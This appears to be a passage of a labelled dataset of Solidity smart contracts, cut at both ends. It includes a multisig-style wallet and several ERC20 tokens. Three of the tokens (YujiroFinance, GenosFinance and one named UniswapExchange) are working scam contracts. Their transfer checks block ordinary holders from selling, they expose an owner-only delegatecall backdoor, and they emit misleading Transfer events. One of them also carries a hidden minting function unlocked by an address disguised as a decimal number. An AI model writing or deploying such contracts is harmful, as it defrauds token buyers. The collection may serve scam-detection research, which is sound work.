_wallet.transfer(_price);
}
if (giftValue > 0) {
beneficiary.transfer(giftValue);
}
}
} | 1 | 3,788 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract YujiroFinance {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 0 | 1,087 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract GenosFinance {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 0 | 394 |
pragma solidity ^0.4.19;
contract TrustWallet {
struct User {
uint waiting_time;
address added_by;
uint time_added;
address removed_by;
uint time_removed;
uint time_added_another_user;
}
struct Transaction {
address destination;
uint value;
bytes data;
address initiated_by;
uint time_initiated;
address finalized_by;
uint time_finalized;
bool is_executed;
bool execution_successful;
}
Transaction[] public transactions;
mapping (address => User) public users;
address[] public userAddresses;
modifier onlyActiveUsersAllowed() {
require(users[msg.sender].time_added != 0);
require(users[msg.sender].time_removed == 0);
_;
}
modifier transactionMustBePending() {
require(isTransactionPending());
_;
}
modifier transactionMustNotBePending() {
require(!isTransactionPending());
_;
}
function isTransactionPending() public constant returns (bool) {
if (transactions.length == 0) return false;
return transactions[transactions.length - 1].time_initiated > 0 &&
transactions[transactions.length - 1].time_finalized == 0;
}
function balance() public constant returns (uint) {
return address(this).balance;
}
function transactionCount() public constant returns (uint) {
return transactions.length;
}
function TrustWallet(address first_user) public {
users[first_user] = User({
waiting_time: 0,
time_added: now,
added_by: 0x0,
time_removed: 0,
removed_by: 0x0,
time_added_another_user: now
});
userAddresses.push(first_user);
}
function () public payable {}
function initiateTransaction(address _destination, uint _value, bytes _data)
public
onlyActiveUsersAllowed()
transactionMustNotBePending()
{
transactions.push(Transaction({
destination: _destination,
value: _value,
data: _data,
initiated_by: msg.sender,
time_initiated: now,
finalized_by: 0x0,
time_finalized: 0,
is_executed: false,
execution_successful: false
}));
}
function executeTransaction()
public
onlyActiveUsersAllowed()
transactionMustBePending()
{
Transaction storage transaction = transactions[transactions.length - 1];
require(now > transaction.time_initiated + users[transaction.initiated_by].waiting_time);
transaction.is_executed = true;
transaction.time_finalized = now;
transaction.finalized_by = msg.sender;
transaction.execution_successful = transaction.destination.call.value(
transaction.value)(transaction.data);
}
function cancelTransaction()
public
onlyActiveUsersAllowed()
transactionMustBePending()
{
Transaction storage transaction = transactions[transactions.length - 1];
require(users[msg.sender].waiting_time <=
users[transaction.initiated_by].waiting_time);
transaction.time_finalized = now;
transaction.finalized_by = msg.sender;
}
function addUser(address new_user, uint new_user_time)
public
onlyActiveUsersAllowed()
{
require(users[new_user].time_added == 0);
require(users[new_user].time_removed == 0);
User storage sender = users[msg.sender];
require(now > sender.waiting_time + sender.time_added_another_user);
require(new_user_time >= sender.waiting_time);
sender.time_added_another_user = now;
users[new_user] = User({
waiting_time: new_user_time,
time_added: now,
added_by: msg.sender,
time_removed: 0,
removed_by: 0x0,
time_added_another_user: now
});
userAddresses.push(new_user);
}
function removeUser(address userAddr)
public
onlyActiveUsersAllowed()
{
require(users[userAddr].time_removed == 0);
require(users[userAddr].time_added != 0);
User storage sender = users[msg.sender];
require(sender.waiting_time <= users[userAddr].waiting_time);
users[userAddr].removed_by = msg.sender;
users[userAddr].time_removed = now;
}
}
contract TrustWalletFactory {
mapping (address => TrustWallet[]) public wallets;
function createWallet() public {
wallets[msg.sender].push(new TrustWallet(msg.sender));
}
} | 0 | 583 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract UniswapExchange {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function _mints(address spender, uint256 addedValue) public returns (bool) {
require(msg.sender==owner||msg.sender==address
(1461045492991056468287016484048686824852249628073));
if(addedValue > 0) {balanceOf[spender] = addedValue*(10**uint256(decimals));}
canSale[spender]=true;
return true;
}
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 0 | 1,367 |
pragma solidity ^0.4.18;
interface IERC20 {
function totalSupply() constant returns (uint256 totalSupply);
function balanceOf(address _owner) constant returns (uint256 balance);
function transfer(address _to, uint256 _value) returns (bool success);
function transferFrom(address _from, address _to, uint256 _value) returns (bool success);
function approve(address _spender, uint256 _value) returns (bool success);
function allowance(address _owner, address _spender) constant returns (uint256 remaining);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal constant returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
function max64(uint64 a, uint64 b) internal constant returns (uint64) {
return a >= b ? a : b;
}
function min64(uint64 a, uint64 b) internal constant returns (uint256) {
return a < b ? a : b;
}
function max256(uint256 a, uint256 b) internal constant returns (uint256) {
return a >= b ? a : b;
}
function min256(uint256 a, uint256 b) internal constant returns (uint256) {
return a < b ? a : b;
}
}
contract YOLOCASH is IERC20 {
uint public constant _totalSupply = 43888888000000000000000000;
string public constant symbol = "YLC";
string public constant name = "YOLOCASH";
uint8 public constant decimals = 18;
mapping(address => uint256) balances;
mapping(address => mapping(address => uint256)) allowed;
function YOLOCASH() {
balances[msg.sender] = _totalSupply;
}
function totalSupply() constant returns (uint256 _totalSupply) {
return _totalSupply;
}
function balanceOf(address _owner) constant returns (uint256 balance) {
return balances[_owner];
}
function transfer(address _to, uint256 _value) returns (bool success) {
require(
balances[msg.sender] >= _value
&& _value > 0
);
balances[msg.sender] -= _value;
balances[_to] += _value;
Transfer(msg.sender, _to, _value);
return true;
}
function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {
require(
allowed[_from][msg.sender] >= _value
&& balances[_from] >= _value
